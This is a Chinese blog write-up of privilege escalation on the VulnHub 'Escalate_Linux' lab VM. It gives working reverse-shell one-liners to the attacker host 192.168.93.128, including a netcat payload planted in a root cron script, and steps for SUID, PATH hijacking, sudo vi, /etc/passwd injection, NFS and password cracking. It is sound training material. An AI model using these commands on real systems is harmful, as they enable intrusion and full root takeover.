首页 > 系统相关 >Escalate_Linux靶机提权学习

Escalate_Linux靶机提权学习

时间:2024-10-28 23:20:05浏览次数:7  
标签:bin user3 Escalate Jun 提权 2019 Linux -- root

靶机下载

https://www.vulnhub.com/entry/escalate_linux-1,323/
用VMware打开

扫描端口

nmap -sS -sV -n -T4 -p- 192.168.93.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 09:26 CST
Nmap scan report for 192.168.93.134
Host is up (0.00090s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
80/tcp    open  http        Apache httpd 2.4.29 ((Ubuntu))
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp  open  nfs         3-4 (RPC #100003)
35413/tcp open  nlockmgr    1-4 (RPC #100021)
42427/tcp open  mountd      1-3 (RPC #100005)
53835/tcp open  mountd      1-3 (RPC #100005)
60579/tcp open  mountd      1-3 (RPC #100005)
MAC Address: 00:0C:29:99:67:DA (VMware)
Service Info: Host: LINUX

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.16 seconds

访问ip,是apache Ubuntu的初始界面

img

扫描目录
dirsearch -u 靶机地址
扫描结果显示只有一个子页面/shell.php是可以访问的,访问看看,进去有个提示说get传参,参数是cmd
传入cmd=ls,返回了当前目录的文件

img

echo "<?php eval($_POST[1]);?>">1.php尝试写木马失败
尝试反弹shell,参考https://blog.csdn.net/qq_52173020/article/details/125011441

bash -i >& /dev/tcp/192.168.93.128/6666 0>&1//没用
php -r '$sock=fsockopen("192.168.93.128",6666);exec("/bin/sh -i <&3 >&3 2>&3");'//成功,但是要url编码后再传

img

1.suid提权

SUID是Linux中的一中特殊权限,SUID可以让二进制程序的调用者以文件拥有者的身份运行该文件。如果对于一些特殊命令设置了SUID,那么就会有被提权的风险。而这个SUID提权的关键就是,找到root用户所拥有的SUID的文件&命令,运行该文件或者调用命令时,暂时拥有root权限,以root身份来执行。

首先python命令执行python -c 'import pty; pty.spawn("/bin/bash")'把得到的shell提升为交互式的shell

查找下能执行SUID特权的命令find / -perm -u=s -type f 2>/dev/null

返回

/sbin/mount.nfs
/sbin/mount.ecryptfs_private
/sbin/mount.cifs
/usr/sbin/pppd
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/arping
/usr/bin/newgrp
/usr/bin/sudo
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/umount
/bin/fusermount
/home/user5/script
/home/user3/shell

user3下面有个shell命令文件,cd /home/user3;cat shell,返回一堆乱码,该文件是二进制文件,执行./shell,直接获得了root权限

img

2.环境变量劫持提权:

网上很多文章,随便贴一篇https://blog.csdn.net/nicai321/article/details/122275160#:~:text=%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%8A%AB%E6%8C%81%E6%8F%90%E6%9D%83%EF%BC%9A%E6%9C%AC

刚刚发现一个/home/user5/script,进去看看

img

执行发现怎么和ls一样???这里说一个查看文件所有者的命令ls -l

img

文件类型和权限(-rwsr-xr-x)
第一个字符:- 表示这是一个普通文件。
接下来的9个字符 分为三组,每组3个字符,分别代表所有者、所属组和其他用户的权限。
第一组 (rws):表示文件所有者的权限:
r:读权限。
w:写权限。
s:这是setuid 权限,表示当任何用户执行该文件时,将以文件拥有者(在此例中是 root)的身份执行。通常,x 表示执行权限,但 s 替换了 x,意味着该文件不但可以执行,而且还带有 setuid 权限。
第二组 (r-x):表示所属组的权限:
r:读权限。
-:没有写权限。
x:执行权限。
第三组 (r-x):表示其他用户的权限:
r:读权限。
-:没有写权限。
x:执行权限。

其他字段解释:
链接数:1
该字段表示文件的硬链接数量。
所有者:root
该字段表示文件的拥有者是 root 用户。
所属组:root
文件的所属组也是 root。
文件大小:8392
文件的大小是 8392 字节。
最后修改时间:Jun 4 2019
文件的最后修改时间是 2019 年 6 月 4 日。
文件名:script
文件的名称是 script。

因此我们得知script是以root身份执行ls命令
可用十六进制查看文件内容进一步验证xxd /home/user5/script | grep ls -A 5 -B 5

img

好吧我只看到文件里面出现了ls,其他看不懂了。开始提权

cd /tmp
echo "/bin/bash" >ls #创建和以root执行的文件的同名文件
chmod 777 ls #赋予可执行权限
echo $PATH #查看环境变量
export PATH=/tmp:$PATH #/tmp目录添加到环境变量最前面
echo $PATH #查看是否添加成功
cd /home/user5
./script #此时系统会查找ls命令的位置,而你以及把/tmp添加到环境变量最前面,所以最先找到的ls是执行/bin/bash的ls文件,而不是真ls,这样就以root身份打开一个新的 Bash shell

img

3.crontab提权

定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron 是 Linux 或者类 Unix 系统中最为实用的工具之一。cron 服务(守护进程)在系统后台运行,并且会持续地检查 /etc/crontab 文件和 /etc/cron.*/ 目录。它同样也会检查 /var/spool/cron/ 目录。

这个方法得先用之前方法提到root权限后,修改user4的密码再操作,改完切换到user4

img

通过翻看文件发现user4的桌面有个autoscript.sh,查看内容如下

touch /home/user4/abc.txt
echo "I will automate the process"
bash -i

现在利用msfvenom生成payload

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.93.128 lport=8888 R

#生成了mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf

工具介绍
https://blog.csdn.net/qq_48985780/article/details/121441548#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D#:~:text=Msfvenom%E4%BB%8B%E7%BB%8D

我们将autoscript.sh的内容替换成反弹shell脚本

echo "mkfifo /tmp/cdinf; nc 192.168.93.128 8888 0</tmp/cdinf | /bin/sh >/tmp/cdinf 2>&1; rm /tmp/cdinf" >autoscript.sh

img

在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载,即可反弹回shell,查看权限为root

img

为什么这样可以提,我们查看/etc/crontab

img

发现autoscript脚本周期性执行,而且是以root身份。*/5表示每 5 分钟执行一次 第二个*表示每一小时都执行,第三个星号意味着每天都执行,第四个星号意味着每个月都执行,第五个星号意味着一周的每一天都执行。(可参考https://www.freebuf.com/articles/system/175453.html)

4.vi写入提权

这波要用之前提到的root先把user8的密码改了以便利用user8提权。
发现user8对vi编辑器具有sudo权限

img

sudo vi-->输入:!sh-->回车-->提权成功,可以反弹一个root身份的shell到kali上面,这里就不搞了

img

5.openssl提权

用LinEnum.sh枚举发现user7是gid为0的成员,我看LinEnum枚举结果太长了懒得找了,就直接用其他大佬的结果了。
先把user7的密码改了,切换到user7

从LinEnum扫描中知道/etc/passwd文件对于用户user7是可写的:user7可以编辑/etc/passwd文件。于是创建一个具有root特权的名为yrsb的新用户,并使用openssl为该用户生成了密码,然后把该用户写进/etc/passwd

openssl passwd -1 -salt yrsb 123

echo 'yrsb:$1$yrsb$MQi5SWheZ5DIrG/FsiUDC.:0:0:root:/root:/bin/bash' >> /etc/passwd

img

6.NFS挂载提权

方法介绍https://cloud.tencent.com/developer/article/1708369

LinEnum枚举发现user5的目录是共享的

img

mount -t nfs 192.168.93.134:/home/user5 /home/user5 #挂载共享目录到攻击机
cp /bin/sh cnm
chown root:root cnm
chmod 4755 cnm

结果报错

./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./cnm)
./cnm: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./cnm)

我嘞个glibc版本过低,这要是真实挖洞的时候拿到一个shell,结果因为这个提权不了就裂开了,但是这个靶机可以用之前的方法拿root然后更新glibc
apt update
pt upgrade libc6
,更新完又变成普通shell了,又要再开交互式shell在提权(捏麻麻的)。

结果靶机系统版本太低,不能更新到那个版本,我cao

img

算了这个方法先知道就得了,以后有机会再用

7.mysql提权

默认密码登录MySQL成功

img

show databases;
use user;
show tables;
select * from user_info;

img

切换至mysql用户

img
img

发现文件.user_informations

chmod 600 .user_informations
cat .user_informations
得到,其中一些用户的密码已经被我之前提权的时候改过
user2:user2@12345
user3:user3@12345
user4:user4@12345
user5:user5@12345
user6:user6@12345
user7:user7@12345//改过
user8:user8@12345//改过

继续找信息,在/etc/mysql/secret.cnf发现root用户密码
UserName:root
PassWord:root@12345
但是这个拿来登录发现是认证失败。。。

8.运行超户身份提权

由上面密码切换user2

sudo -l

[sudo] password for user2: user2@12345

Matching Defaults entries for user2 on osboxes:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user2 may run the following commands on osboxes:
    (user1) ALL

发现user2可以以user1的身份运行命令,也就是可以切换到user1
sudo -u user1 bash
sudo su

img

9.uid提权

现在切换user4
cat /etc/group,发现root❌0:user4,user7,表示user4和user7可以修改/etc/passwd文件,所以提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权

10.shell提权

切回user6
user3主目录下发现.script.sh文件

ls -al
total 160
drwxr-xr-x 22 user3 user3 4096 Jun  4  2019 .
drwxr-xr-x 10 root  root  4096 Jun  5  2019 ..
-rw-r--r--  1 user3 user3  124 Jun  4  2019 .asoundrc
-rw-r--r--  1 user3 user3   95 Jun  4  2019 .bash_history
-rw-r--r--  1 user3 user3  220 Jun  4  2019 .bash_logout
-rw-r--r--  1 user3 user3  949 Jun  4  2019 .bashrc
drwxr-xr-x 15 user3 user3 4096 Jun  4  2019 .cache
drwxr-xr-x 20 user3 user3 4096 Jun  4  2019 .config
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .dbus
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Desktop
-rw-r--r--  1 user3 user3   23 Jun  4  2019 .dmrc
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Documents
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Downloads
-rw-r--r--  1 user3 user3 9354 Jun  4  2019 .face
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 .gconf
drwxr-xr-x 24 user3 user3 4096 Jun  4  2019 .gimp-2.8
-rw-r--r--  1 user3 user3    0 Jun  4  2019 .gksu.lock
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .gnome
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .gnome2
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .gnupg
-rw-r--r--  1 user3 user3   20 Jun  4  2019 .gtk-bookmarks
-rw-r--r--  1 user3 user3  105 Jun  4  2019 .gtkrc-2.0
-rw-------  1 user3 user3 4710 Jun  4  2019 .ICEauthority
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .local
drwxr-xr-x  5 user3 user3 4096 Jun  4  2019 .mozilla
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Music
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Pictures
-rw-r--r--  1 user3 user3  873 Jun  4  2019 .profile
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Public
-rwxr-xrwx  1 root  root    33 Jun  4  2019 .script.sh
-rwsr-xr-x  1 root  root  8392 Jun  4  2019 shell
-rw-r--r--  1 user3 user3    0 Jun  4  2019 .sudo_as_admin_successful
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Templates
drwxr-xr-x  3 user3 user3 4096 Jun  4  2019 .thumbnails
drwxr-xr-x  4 user3 user3 4096 Jun  4  2019 .thunderbird
drwxr-xr-x  2 user3 user3 4096 Jun  4  2019 Videos
-rw-r--r--  1 user3 user3   50 Jun  4  2019 .Xauthority

strings shell,发现其调用了.script.sh,把.script.sh内容变成/bin/bash即可(为什么觉得有点多余)

img

11.爆破root密码

以root身份cat /etc/shadow
john爆破出来就是12345。这个不算提权吧,都已经是root了

12.sudo -i提权

切换user1
sudo -l
sudo -i

img

内核漏洞

靶机内核是4.15.0-45-generic,上网找找不到相关漏洞。

标签:bin,user3,Escalate,Jun,提权,2019,Linux,--,root
From: https://www.cnblogs.com/hackzz/p/18446332

相关文章

  • 【Linux学习】(8)第一个Linux编程进度条程序|git三板斧
    前言第一个Linux编程——进度条git的简单使用一、第一个Linux编程——进度条在写进度条之前我们需要两个基础知识:回车换行缓冲区1.回车换行首先我们需要知道回车换行它是两个概念,回车是回车,换行是换行换行:光标从上往下,直接到下一行(例如光标现在在当前行的第5个......
  • 【Linux探索学习】第五弹——Linux用户管理:创建、删除与查看普通用户
    前言:Linux下创建普通用户是我们以后经常要做的一件事,一个超级用户下可以有多个普通用户,这样我们就可以用这些普通用户去做不同的事情,所以学习如何创建并管理这些用户就显得尤为重要提醒:本篇是在Ubuntu系统下进行的操作目录一、创建普通用户二、测试是否创建成功方法一:方法二:三、查......
  • Linux网络连接三种模式的区别(图解超详细)
    (CentOS安装难点——网络连接方式的理解)参考视频链接为什么选择NAT模式?如上图情景设定:图中三个人在同一个教室网络,可以相互通讯,因为他们三人在同一网段(三者都以192.168.0打头)。1.桥接模式虚拟系统可以和外部系统相互通讯,但是容易造成ip冲突(张三ip:192.168.0.20,他......
  • Linux基础命令:轻松掌握终端操作
    引言在现代IT行业中,Linux因其稳定性和灵活性广受欢迎。作为后端开发、系统管理和数据科学等领域的必备技能,熟练掌握Linux基本命令将使你在职场中更加游刃有余。无论你是刚接触Linux的新手,还是希望提升技能的开发者,了解Linux命令行的基本用法都是至关重要的。今天,我们将探讨一......
  • 网络编程 Linux环境 C语言实现
    进程间通信的延续跨电脑进程间通信一、远程通信方式电路交换------老式有线电话通信​报文交换​分组交换支持分时机制的(分片机制)报文交换​现行网络大部分都是采用分组交换形式二、网络&互联网&因特网网络Network:多台计算机通过某种传输介质连接在一起形成......
  • linux shell特殊参数
    $n功能描述:n为数字,$0代表命令本身,$1-$9代表第一到第九个参数,十以上的参数需要使用大括号包含,如${10}$*功能描述:这个变量代表命令行中的所有参数,此命令把所有参数看成一个整体$@功能描述:这个变量也代表命令行中的所有的参数,但是此命令把每个参数区分对待注意:$*与$@区别在于......
  • 黑客入门Linux安装准备工作
    ArsenalLinux黑客新手入门推荐:社区采用二个系统进行更新后续文章,分别如下:-Kalilinux:内包含大量工具/一次下载安装可以减少所需要工具安装时间。退求其次:Kali是目前最火爆的黑客工具集成系统。最关键的是网上教程很多,方便更多爱好者实战自己的才能。Linuxmint:目前......
  • 黑客新手入门应该懂的Linux 细节知识
    Linux到底是什么?Linux是_*一个_*家族开源的类Unix操作系统基于Linux内核l.Linux是LinusTorvalds的创意。显然.他制作Linux是为了好玩,并于1991年9月17日发布了Linux的第一个版本。据传Linux的创造者打算将他的发明命名为Freax,但未经LinusTorvalds......
  • Linux系统中的信号
    目录一、信号的概念二、信号处理1.信号处理的三种方式(1)默认处理(2)忽略处理 (3)自定义处理(信号捕捉)2.信号处理的时机 3.自定义捕捉的另一个函数sigaction4.sigaction函数中的sa_mask三、信号产生的方式1.使用kill命令,向指定进程发送信号2.使用键盘3.系统调用......
  • 在linux系统中,手动编写java代码,将接口打成jar供其他程序调用,实现方式
    本文是在学习java时做的记录工作目录:/root/JAVA1、编写接口文件IHello.java,将IHello.java文件放到usr/com/example目录下注意:usr不是根目录下的/usr,是在当前目录下创建usr/com/example,因为package需要指定目录。目录结构:.└──usr└──com└──......